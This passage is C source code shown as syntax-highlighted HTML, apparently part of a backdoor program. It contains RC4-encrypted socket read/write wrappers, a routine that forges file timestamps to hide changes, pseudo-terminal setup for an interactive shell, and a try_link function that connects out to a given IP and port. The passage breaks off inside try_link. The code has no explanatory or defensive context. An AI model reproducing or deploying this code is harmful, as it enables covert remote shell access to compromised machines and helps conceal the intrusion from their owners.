<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>index1 <span class="sy0">&gt;=</span> len<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; index1 <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i<span class="sy0">++;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">while</span> <span class="br0">&#40;</span>i<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">void</span> &nbsp; &nbsp;rc4 <span class="br0">&#40;</span>uchar <span class="sy0">*</span>data<span class="sy0">,</span> <span class="kw4">int</span> len<span class="sy0">,</span> rc4_ctx <span class="sy0">*</span>ctx<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; uchar &nbsp; <span class="sy0">*</span>state <span class="sy0">=</span> ctx<span class="sy0">-&gt;</span>state<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; uchar &nbsp; x <span class="sy0">=</span> ctx<span class="sy0">-&gt;</span>x<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; uchar &nbsp; y <span class="sy0">=</span> ctx<span class="sy0">-&gt;</span>y<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> &nbsp; &nbsp; i<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span>i <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span> i <span class="sy0">&lt;</span> len<span class="sy0">;</span> i<span class="sy0">++</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; uchar xor<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x<span class="sy0">++;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; y <span class="sy0">=</span> state<span class="br0">&#91;</span>x<span class="br0">&#93;</span> <span class="sy0">+</span> y<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; xchg<span class="br0">&#40;</span><span class="sy0">&amp;</span>state<span class="br0">&#91;</span>x<span class="br0">&#93;</span><span class="sy0">,</span> <span class="sy0">&amp;</span>state<span class="br0">&#91;</span>y<span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; xor <span class="sy0">=</span> state<span class="br0">&#91;</span>x<span class="br0">&#93;</span> <span class="sy0">+</span> state<span class="br0">&#91;</span>y<span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data<span class="br0">&#91;</span>i<span class="br0">&#93;</span> <span class="sy0">^=</span> state<span class="br0">&#91;</span>xor<span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; ctx<span class="sy0">-&gt;</span>x <span class="sy0">=</span> x<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; ctx<span class="sy0">-&gt;</span>y <span class="sy0">=</span> y<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">int</span> cwrite<span class="br0">&#40;</span><span class="kw4">int</span> fd<span class="sy0">,</span> <span class="kw4">void</span> <span class="sy0">*</span>buf<span class="sy0">,</span> <span class="kw4">int</span> count<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; uchar &nbsp; &nbsp;<span class="sy0">*</span>tmp<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> &nbsp; &nbsp; ret<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy0">!</span>count<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; tmp <span class="sy0">=</span> <span class="kw3">malloc</span><span class="br0">&#40;</span>count<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy0">!</span>tmp<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">memcpy</span><span class="br0">&#40;</span>tmp<span class="sy0">,</span> buf<span class="sy0">,</span> count<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; rc4<span class="br0">&#40;</span>tmp<span class="sy0">,</span> count<span class="sy0">,</span> <span class="sy0">&amp;</span>crypt_ctx<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; ret <span class="sy0">=</span> write<span class="br0">&#40;</span>fd<span class="sy0">,</span> tmp<span class="sy0">,</span> count<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">free</span><span class="br0">&#40;</span>tmp<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> ret<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">int</span> cread<span class="br0">&#40;</span><span class="kw4">int</span> fd<span class="sy0">,</span> <span class="kw4">void</span> <span class="sy0">*</span>buf<span class="sy0">,</span> <span class="kw4">int</span> count<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> &nbsp; &nbsp; i<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy0">!</span>count<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; i <span class="sy0">=</span> read<span class="br0">&#40;</span>fd<span class="sy0">,</span> buf<span class="sy0">,</span> count<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>i <span class="sy0">&gt;</span> <span class="nu0">0</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rc4<span class="br0">&#40;</span>buf<span class="sy0">,</span> i<span class="sy0">,</span> <span class="sy0">&amp;</span>decrypt_ctx<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> i<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">static</span> <span class="kw4">void</span> remove_pid<span class="br0">&#40;</span><span class="kw4">char</span> <span class="sy0">*</span>pp<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; unlink<span class="br0">&#40;</span>pp<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">static</span> <span class="kw4">void</span> setup_time<span class="br0">&#40;</span><span class="kw4">char</span> <span class="sy0">*</span>file<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> timeval tv<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; tv<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.<span class="me1">tv_sec</span> <span class="sy0">=</span> <span class="nu0">1225394236</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; tv<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.<span class="me1">tv_usec</span> <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; tv<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>.<span class="me1">tv_sec</span> <span class="sy0">=</span> <span class="nu0">1225394236</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; tv<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>.<span class="me1">tv_usec</span> <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; utimes<span class="br0">&#40;</span>file<span class="sy0">,</span> tv<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1"><span class="kw4">static</span> <span class="kw4">void</span> terminate<span class="br0">&#40;</span><span class="kw4">void</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>getpid<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="sy0">==</span> godpid<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; remove_pid<span class="br0">&#40;</span>pid_path<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; _exit<span class="br0">&#40;</span>EXIT_SUCCESS<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">static</span> <span class="kw4">void</span> on_terminate<span class="br0">&#40;</span><span class="kw4">int</span> signo<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; terminate<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1"><span class="kw4">static</span> <span class="kw4">void</span> init_signal<span class="br0">&#40;</span><span class="kw4">void</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">atexit</span><span class="br0">&#40;</span>terminate<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; signal<span class="br0">&#40;</span>SIGTERM<span class="sy0">,</span> on_terminate<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">void</span> sig_child<span class="br0">&#40;</span><span class="kw4">int</span> i<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; signal<span class="br0">&#40;</span>SIGCHLD<span class="sy0">,</span> sig_child<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; waitpid<span class="br0">&#40;</span><span class="sy0">-</span><span class="nu0">1</span><span class="sy0">,</span> NULL<span class="sy0">,</span> WNOHANG<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">int</span> ptym_open<span class="br0">&#40;</span><span class="kw4">char</span> <span class="sy0">*</span>pts_name<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> <span class="sy0">*</span>ptr<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> fd<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">strcpy</span><span class="br0">&#40;</span>pts_name<span class="sy0">,</span><span class="st0">&quot;/dev/ptmx&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span>fd <span class="sy0">=</span> open<span class="br0">&#40;</span>pts_name<span class="sy0">,</span>O_RDWR<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="sy0">&lt;</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="sy0">-</span><span class="nu0">1</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>grantpt<span class="br0">&#40;</span>fd<span class="br0">&#41;</span> <span class="sy0">&lt;</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>fd<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="sy0">-</span><span class="nu0">2</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>unlockpt<span class="br0">&#40;</span>fd<span class="br0">&#41;</span> <span class="sy0">&lt;</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>fd<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="sy0">-</span><span class="nu0">3</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span>ptr <span class="sy0">=</span> ptsname<span class="br0">&#40;</span>fd<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="sy0">==</span> NULL<span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>fd<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="sy0">-</span><span class="nu0">4</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">strcpy</span><span class="br0">&#40;</span>pts_name<span class="sy0">,</span>ptr<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> fd<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">int</span> ptys_open<span class="br0">&#40;</span><span class="kw4">int</span> fd<span class="sy0">,</span><span class="kw4">char</span> <span class="sy0">*</span>pts_name<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> fds<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span>fds <span class="sy0">=</span> open<span class="br0">&#40;</span>pts_name<span class="sy0">,</span>O_RDWR<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="sy0">&lt;</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>fd<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="sy0">-</span><span class="nu0">5</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>ioctl<span class="br0">&#40;</span>fds<span class="sy0">,</span>I_PUSH<span class="sy0">,</span><span class="st0">&quot;ptem&quot;</span><span class="br0">&#41;</span> <span class="sy0">&lt;</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> fds<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>ioctl<span class="br0">&#40;</span>fds<span class="sy0">,</span>I_PUSH<span class="sy0">,</span><span class="st0">&quot;ldterm&quot;</span><span class="br0">&#41;</span> <span class="sy0">&lt;</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> fds<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>ioctl<span class="br0">&#40;</span>fds<span class="sy0">,</span>I_PUSH<span class="sy0">,</span><span class="st0">&quot;ttcompat&quot;</span><span class="br0">&#41;</span> <span class="sy0">&lt;</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> fds<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> fds<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">int</span> open_tty<span class="br0">&#40;</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> pts_name<span class="br0">&#91;</span><span class="nu0">20</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; pty <span class="sy0">=</span> ptym_open<span class="br0">&#40;</span>pts_name<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; tty <span class="sy0">=</span> ptys_open<span class="br0">&#40;</span>pty<span class="sy0">,</span>pts_name<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>pty <span class="sy0">&gt;=</span> <span class="nu0">0</span> <span class="sy0">&amp;&amp;</span> tty <span class="sy0">&gt;=</span><span class="nu0">0</span> <span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">1</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">int</span> try_link<span class="br0">&#40;</span>in_addr_t ip<span class="sy0">,</span> <span class="kw4">unsigned</span> <span class="kw4">short</span> port<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> sockaddr_in serv_addr<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> sock<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; bzero<span class="br0">&#40;</span><span class="sy0">&amp;</span>serv_addr<span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>serv_addr<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; serv_addr.<span class="me1">sin_addr</span>.<span class="me1">s_addr</span> <span class="sy0">=</span> ip<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span>sock <span class="sy0">=</span> socket<span class="br0">&#40;</span>AF_INET<span class="sy0">,</span> SOCK_STREAM<span class="sy0">,</span> <span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="sy0">==</span> <span class="sy0">-</span><span class="nu0">1</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="sy0">-</span><span class="nu0">1</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; serv_addr.<span class="me1">sin_family</span> <span class="sy0">=</span> AF_INET<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; serv_addr.<span class="me1">sin_port</span> <span class="sy0">=</span> port<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>connect<span class="br0">&#40;</span>sock<span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">struct</span> sockaddr <span class="sy0">*</span><span class="br0">&#41;</span><span class="sy0">&amp;</span>serv_addr<span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span><span class="kw4">struct</span> sockaddr<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="sy0">==</span> <span class="sy0">-</span><span class="nu0">1</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
